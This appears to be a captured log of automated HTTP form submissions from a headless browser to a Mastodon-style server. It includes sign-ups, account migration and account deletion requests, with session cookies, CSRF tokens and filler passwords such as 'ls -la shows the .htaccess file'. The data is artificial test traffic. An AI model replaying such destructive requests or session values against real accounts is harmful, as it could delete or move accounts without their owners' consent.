"authenticity_token=iXEeYb_02XISojzm1HWVknPdVf33mHGJwDKyT4M4fGc3MYW4hGR5Ex27OCSLlOepfPKuhat1ydAXiZvw5EPQag&user%5Baccount_attributes%5D%5Busername%5D=river_notes&user%5Bemail%5D=river_notes%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&user%5Binvite_request_attributes%5D%5Btext%5D=ls+-la+shows+the+.htaccess+file&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
|
||||||
|
{"method": "POST", "target": "/settings/migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 255", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTA6MzAuNDk3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--84a60be99147b240cb6dccbc44040c0b739c4b43; _mastodon_session=UABRdVbMXXMFFp%2F7Z7mB6MiT9Bm1%2BYC0n%2BTfv%2BFsyoZl4IlttNmj6g3vjLC0zCFWPnIa19pqaojDLa0jq70xdLxeqpDq2ddhaH2A65FS9kP42qVkY8Ln4z9meXZPIDHJB498zA1nE0Qx%2BLkoqnM4jAUZC32oBZlSOudN4SovU4RslsocCw2n8U7SGi7UuRxLubeSW%2Fh0TSrMnh4V4SYYe6y%2BSrdtwH%2B4Q%2Fy028E3qkVzNhZ6CgoP6WUu16KqIQ67XYw7nruVCmwOgOGaIPV9sWRxoPoUnjk%2BuLFWJotAf4fwZOl2AYdHxmYhxRQTY3uxPCY10KSixTRSPMC063UueXJlMYO3GDHYGaYs7PR5mJwDbD3NIbSfkFsCANrc36s%2FQzYS0FK%2BlNwI--rOtCEEGrp2iN3ow%2F--3QR7ze5LibzMQQgiCzYJow%3D%3D"], "body": "authenticity_token=SXjx9RPA5uRxQZF-P0lkvzH3b8TFb1_-xbhUTG3jt_7Q7L_9FnX30uzFy4M01gptjMIEszogCg350z8hbEh5GA&account_migration%5Bacct%5D=carol%40remote.example&account_migration%5Bcurrent_password%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/settings/migration/redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 247", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration/redirect/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTA6NDIuMzMwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--68c14193269c529ddc12857986a93ba1aec6b66f; _mastodon_session=nqDf8sTcJ83GaXsWMy3fYF6cRcU0LEBemdy2mJYanhadpsmOMHyM1quz2C%2B%2FIREYvrCS5cQzc5U2VBI4CMQsqqV%2BXT%2F9p1BIJanCUjECdvFZCHM%2BDSdfDPG3eGxmzGTLv56imNWp0ZwJ6KnRLlFrvONu9U1tm0QvAKPlHiS1HAPCZVyNTnArv4F53czeFfMrNFMYgbDyt%2BZE0Q0B3pv3w5mm34rFyYebbbTmKKF7k1t%2F%2BbNPzoQQDLf8dc6et4JPaN6VvphHWur8AzkUAB5IjFNbyVCbK%2BPPjeTZdECwsEj7L6a6ALpVd6uYQ%2FSBhOlYKGJGavXWeQ%2FnbTcOlX%2Bn3qvzKJSfiHEv0XtNTwB6y6XHC3ZsN0lVURVid242amjlTMDW6IaC2rwK--V51WqvLjN5pOQ7YT--ibkq8GFdvFc%2Fq5zUb0%2FTpw%3D%3D"], "body": "authenticity_token=Xw5mZPitgTJXdW8-TdNa3TYCLun8csLrDovPo_W1U0osLVwOJLJoeOhxAPuuR5khP1Ff1LmcdU27saPE65rP6Q&form_redirect%5Bacct%5D=carol%40remote.example&form_redirect%5Bcurrent_password%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/settings/delete", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 261", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/delete", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTA6NTcuMDU3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--0efff5f44c8a4d5bfb20180b3cb13cacd740f286; _mastodon_session=DJi13LSLrj1ypRd1bhDih7%2FsHs5XfVCkApWaSgkam2FBv3KApyO%2Fa72cqHb2urmABoImh2pWoTctoy5UQGToDsMvRQq3LqSO2K7ZZQs3BL%2FJxR6hb9nOjkULJ1BpHDheXsVFMSSHKyJP4dRVcIaHMs8aVlpNGkPG6dVyDl1R3p1f%2FKwLF3vrzKbLwW%2B4j8jMyleto4ZgKIf1DEEouxh6UVVOx4SWTw1Yxmk0CvvNzLYzuZLSHyJyvl%2BZSYP4ucV5k4odh%2FRfryyp9PgfWHoG4DgnbAGyzi0%2BNKSuq3xGuzB0XRJ1dXoSX58eHSqNcTyEK0VEZ8xmmtpfI%2FLevNGZmfMgKQmJFiG23Nk4zUgf0vNv%2FTMbymxTrf%2F3pMlil9sFXYoYGScJ14x1--0TurehiSTwEJLmic--8WKC0Ee%2FD2%2BsaSNKpKF0tw%3D%3D"], "body": "_method=delete&authenticity_token=aCKhS0vSHmaExtu9pqM9bJqRhInsZsfvDOT3erwJeCmwdKht7B63rLdiO-zeBznqG7oHmZV-nFWz2idyDJ1vLw&form_delete_confirmation%5Busername%5D=bob&form_delete_confirmation%5Bpassword%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/settings/migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 236", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTE6MDQuODY4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--053251e947949cb91f6630e2389ab8db71a4cbcd; _mastodon_session=GJPgZRCfm8%2B2Jr%2BBtvi4Uzmb%2FS0HzNliy9eyg%2FsBytLnymG8378dHLgC0qF60vvzZmSEydnrUv2N2A3sXM2NbAZEJHGE%2F9aCJ8DvhWSKnfZUlTZUead%2FQnZ%2FGzmrCTDfzqH0VBEwx1eFBJsPE8iSXeZx1Rk8Kq%2FCPf3pedCTkPVlIUdopx6z2jwfsCdPVwSjwCG2YsISin7p52cI3H5c2Bvpj6YqecDmbsmTxZYOfwnN8zqgk7PCnSd1XjfmqAPMyyZ8SjgcdE9vVs0Y%2BJBG2xArvYRGmO4XfSzfVLauqH%2B%2FU29%2Bph3v%2BPnx7UCDTmlhltzeOQ0iqqJ7I0AqQyL7SBVT18rdFbYZF603xdEk0%2FlTGzGyWOL795Qfso0AQ%2FJdzfaJ%2BVMNXNJm--OgT%2FPuD%2F%2BYxTzakS--7GVODJeVXhEs0FTIO5kLIg%3D%3D"], "body": "authenticity_token=oWzo1ySenTJKxkWE3--ZxkTK-2MgpBCVifJoGwtkesY4-KbfISuMBNdCH3nUcPcU-f-QFN_rRWa1mQN2Cs-0IA&account_migration%5Bacct%5D=carol%40remote.example&account_migration%5Bcurrent_password%5D=ls+-la+shows+the+.htaccess+file&button="}
|
||||||
|
{"method": "POST", "target": "/settings/migration/redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 228", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration/redirect/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTE6MTMuNTY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b52ae42ed78ebb26ad0ec5712ec318ab6868704a; _mastodon_session=vQBJNLFgFKuCutA0r7biK376EPucsPnOWNEehfEdaMmhnPXy%2FmXFDnuasTp%2B7NHzhrZlRj8GVEeDX2qcu%2F4KR7PRYZSLcTVhYHZiheTE18bi4F8OxbWzhQ7OByoZSeAtWxfR1yRNqg%2F2QiH%2BAAMtwMfdpFa18eD2mJdVO1ZA6gzCResJET4guZTo19ZCU6ZHxVgrAdRyrd6XlsNnYOsEpOSP9ZnlFu%2F2P1gJATd3L5mf9sqvaMwOKURDFfRKXZvgknRww91GA62zoSnnR2gPApvxwZqKjIYMY04IcdDWfr%2BMnDjc4fBkBZQqEiAwsSgq0TfNqgapIG2TbFhwwG3mOoKgLKr2Bc28BB9beg26zWPExpsLfvnTZmaoS4JNi7ajcVglhRxCBScS--NMCJY3G7DTP5Wfty--vwWL%2BoM3LXJPty41J1Vpug%3D%3D"], "body": "authenticity_token=euxXZxII5Z8B9ueHrZL_oPAjadXyDHo_Ou4xbeKPzR4Jz20NzhcM1b7yiEJOBjxc-XAY6LfizZmP1F0K_KBRvQ&form_redirect%5Bacct%5D=carol%40remote.example&form_redirect%5Bcurrent_password%5D=ls+-la+shows+the+.htaccess+file&button="}
|
||||||
|
{"method": "POST", "target": "/settings/delete", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 242", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/delete", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTE6MjkuMjI1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b4b47585b218826e926fd3ca365dbfe1fd3a0a22; _mastodon_session=hImYrelJ98PY%2F%2BEqPWWYJDnP0Tpm1T3Q67oLrhZHIlRNqQuVGeENvLTe%2FWmNr8VqGS5hojHeGyhUuJHlorXulxmTxe%2Fl6%2FRMlRgB4AlUEhGKHxEsin0O%2FScYX0hqW2gOPfk6GtBEfbkPCkv71r94d9znprr5xdPyo%2FmOEGc4rk16AKqY9JQJDhQhtzK1Dz%2Fa7dkS2JeJx6Sbrc6aOlVCS1nqNylDXjidlJNtowfCnVAVeF8QUZ94NuBqYQ%2BYEdM%2FsOgsq6WE8L2rnCfTKSEKkQ5wzu4odiOSFFb02Giv%2B1K%2FAhnpqkGK9cxlIlwLsT8wRCBYRCFPMrNDR86FW1rhokPOoHpSIyKnL%2FtmasDJfo9rhR4kQusT2Dd46DjEH7jNLNcheA8%2F5mDL--2o%2F8bYD6srmF1Gxe--OZU8Fw9NAUDRzOYmPqaxSQ%3D%3D"], "body": "_method=delete&authenticity_token=aUVriOgEE0wC9HCytvZMiXnrX5aNNCPPlQdUPUwmAESxE2KuT8i6hjFQkOPOUkgP-MDchvQseHUqOYQ1_LIXQg&form_delete_confirmation%5Busername%5D=bob&form_delete_confirmation%5Bpassword%5D=ls+-la+shows+the+.htaccess+file&button="}
|
||||||
|
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 548", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=pbANYcsmJSK7W1xSib4jkWB2fU2FYmc82mEC3IYpKdyFP8YDl4%2BaM2nGl7xQDAR5n%2FECzMLb0DlPLdGNld0yOUY%2Fc2T9fApszmiH4vpWFWwSAOw0I1zaIQdhXCkgtSCLTeKN6i6isRZ8v92%2FWYp3Nfn%2FhkXsRBtZJAv39yHrhq%2BeiCkJZBRhCroiHKw7yYWUEmtNG6BGvuMQJLgqJU74diNAPdW1vv3GLkBK7F%2Bx%2F0dLxJ23AlO9L8wnDqPcRMVWJiCW%2FWM1xOPV7vj81hw33yTbwgEbrk%2BylQ5RP0VCdDX6aOUivQpEqgvMqSLALbPavDsHtRZyqIp92q%2BCBVZl52NxcitBHop2KhI3nO32dvgJ1FkCekIP8EBBYUKF--LuPI%2BAk9nyZT66Bl--lCqK1dq3PjHBUHGZICcwcw%3D%3D"], "body": "authenticity_token=WbXeHEIg1quzaZbSHd_3CQmtuXVCrg1MwS00gGTNkxqJcZCzaMrkoUtTmfEQ1DICXRj051Ngdo95CreQAFRBHg&user%5Baccount_attributes%5D%5Busername%5D=morning_walks&user%5Bemail%5D=morning_walks%40example.com&user%5Bpassword%5D=ls+-la+shows+the+.htaccess+file&user%5Bpassword_confirmation%5D=ls+-la+shows+the+.htaccess+file&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&user%5Binvite_request_attributes%5D%5Btext%5D=python3+and+powershell+scripts+that+edit+.htaccess&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
|
||||||
|
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 423", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=BzSfYGxyQDsLHb%2Bf54xvkU7zDrirNTbfYrVdNRSun13nMUaRAY7q9RFPBh46Nw5aUI8xxu%2BCBgeRraxCyKUl9Z32ZAb%2FeRrCHzXFDn9bStl41cktZKmy8P4bTAh%2FY4j4c2fxhIIZ0P7wuUnUkzIT8W1GAc%2FxReDGXzlfmP3%2FKlKLsvjxC6yqc2F8N1eKVtiG87y6dg1IW3M12lNBD%2BWLrpmNjG%2F7vYOzzXeFGtqeupf83da83igN6w8tRpsL0%2FnuNpCOBPjZtITEuaC8cih4TxweDiLWjmnUFz%2F3SB9FoUwqWOiE%2BNZwd6xNvL2kh6RwLnKFGm35jO0l2gm57FILIy6znj3dfbX25b%2F9UIfXKjOWcm92DlbFTreNHgmk--B3u4Ehn50vGEl4EV--NC8TBUPmAiv%2Bp8HPq8jp9Q%3D%3D"], "body": "authenticity_token=6TvBMH60Ug8xEFcVK5C6ea4Xw_foaQjKfsHy0A6Xq7WJYU8g7i9fpHY9tL-KHbdZyzb2OoqHY4-D8dr9akQw5A&user%5Baccount_attributes%5D%5Busername%5D=river_walker&user%5Bemail%5D=river.walker%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
|
||||||
|
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 419", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=9fxGDnaJUy6P5%2FupUfgV22RwxeuLjA7q4Lmwspt38SNhN8eRRh9AGRkqWpkeg9zsYE0%2F2GQxjd6lH3%2F71%2F%2Bsse860vR0CUxSw7pn%2Bqmtqn%2BHlnwzGCL%2FhKZ0NbnAm%2B0SuLYMAQap1Xlx7JGcU1NECtjkURA2FNbBjnVt08IbE8DTE7UVD5wmTUsSnwukkYp7glYc9%2F%2FQiB3a%2FulubQcp%2F9aqqJzIyGrdmxp%2FUwIivohWisiZVKmHyx%2B5NDPsdFJHABqNVX8KOvV%2BtjyTK6p7PxkXHSX%2FPKMxzqiRhsMXUGLb8mQpVf1RlMsWx0FYpaQ56h4mZoD%2FcDv9ceV%2FytRCVKSD%2B0WufwJJvTtDoBrugPslybr8f03n0j%2BWYty3--UNb4xTJDMmiz%2BDRB--wZoAhi0AGiyykyrIJ2nSpA%3D%3D"], "body": "authenticity_token=YZjNGKXHNncbotH7qCpgn2myKWmyRg2DxKCWdFYeR84n-0pcNy1KP9Hf0JPmDZB4O3rLtBsiIWhItWxnBwxjXg&user%5Baccount_attributes%5D%5Busername%5D=snake_charmer&user%5Bemail%5D=python3%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
|
||||||
|
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 420", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=P9xrctFTdAcuMCSY1ClaheVF1Wp4Vi7aBmTL7DrL1SctLXrLvZ1oh2IzbsnGLGgGirUznbbBoXBSky8shxPC5C7jwkiFDuNoY0ozqnELY5ioUFpUf1rq1pbPlJ%2FpcYtrxn9FiCmso2wlUnFKyuXiZx%2FTDX%2BhXAWvsTHqdJ5L3fL2QVC2CdIM1Rh1MTKv3SWbR1pPQjbZR06dnoA82KKeQMSRHr4qKQMErQQNjivJNVrO0KxW9DJQdIU6c%2FjzrjB9KINUT8NjD7NICDQcN3HfREI5aaLrUkAGNIWHM3zgmYBtn7xAZ7LLjCjO6jqgxh%2FaFPk7tHRAOOYdPj33sh%2FeboEmaQksYVdUgXnv1ntFaVQBpLCaWHrabHd%2BszDa--0xivXUNrhbOYJ2pW--JYET7z3%2BJ1dDWG33yT2l6A%3D%3D"], "body": "authenticity_token=BKh4vqecmRxWhTI2Lpci0Yl7Xe-1Pe0M_dkAgZk5BY6vMYP-NpzDlCUQZZunx_2gMsOk0PHEljcHR9BsPgoeUg&user%5Baccount_attributes%5D%5Busername%5D=shell_notes&user%5Bemail%5D=powershell%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
|
||||||
|
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 415", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=geJlsII3AQRNWgQU1CgDXMy%2BbcXfuniolP%2Fqc5tDDm8%2B0wRLQnQc96fhTpFEzBnWQT2KW1HZFTHLJ93a78jbVnhyMlXBRWrDQwvcuBDZC6atGDW0PVAa4Hb7jyjPumehRbFLE4ysC3AEmwoIWyeEhfnIUvhkfgT1A%2BCjgGOnqInaYR9Jh4XldwopETt7K7B5potdvszXXLF0yUtFeaQaaT1t%2FajCTaCr2DqIU2Amv5w0NLrPffimA3g41Jggq5t53m6vGXDaZU82XxJ3bZpnwdV6JwsxEaQvRbp3g2weTc2tvQgalWYFLyfNbMPY6ztdm9XxZgpcyqjxAmpWtLiCoSpr%2BmO%2BGvV49YxbZjXDPfBkUs9Slmqmf08HZaID--l1kTbQSpXdfiOYs%2B--k8X8PqoFB8olmdBc2ssmLg%3D%3D"], "body": "authenticity_token=pimyeVFDUVWbfXM92X5y3W-dlmgsjwljWKjQ8kZWm2bWfHt0L6DxlD3FRRSEsbgW0MG0XtFIAJIuVbf1OPbJwA&user%5Baccount_attributes%5D%5Busername%5D=list_keeper&user%5Bemail%5D=ls-la%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
|
||||||
|
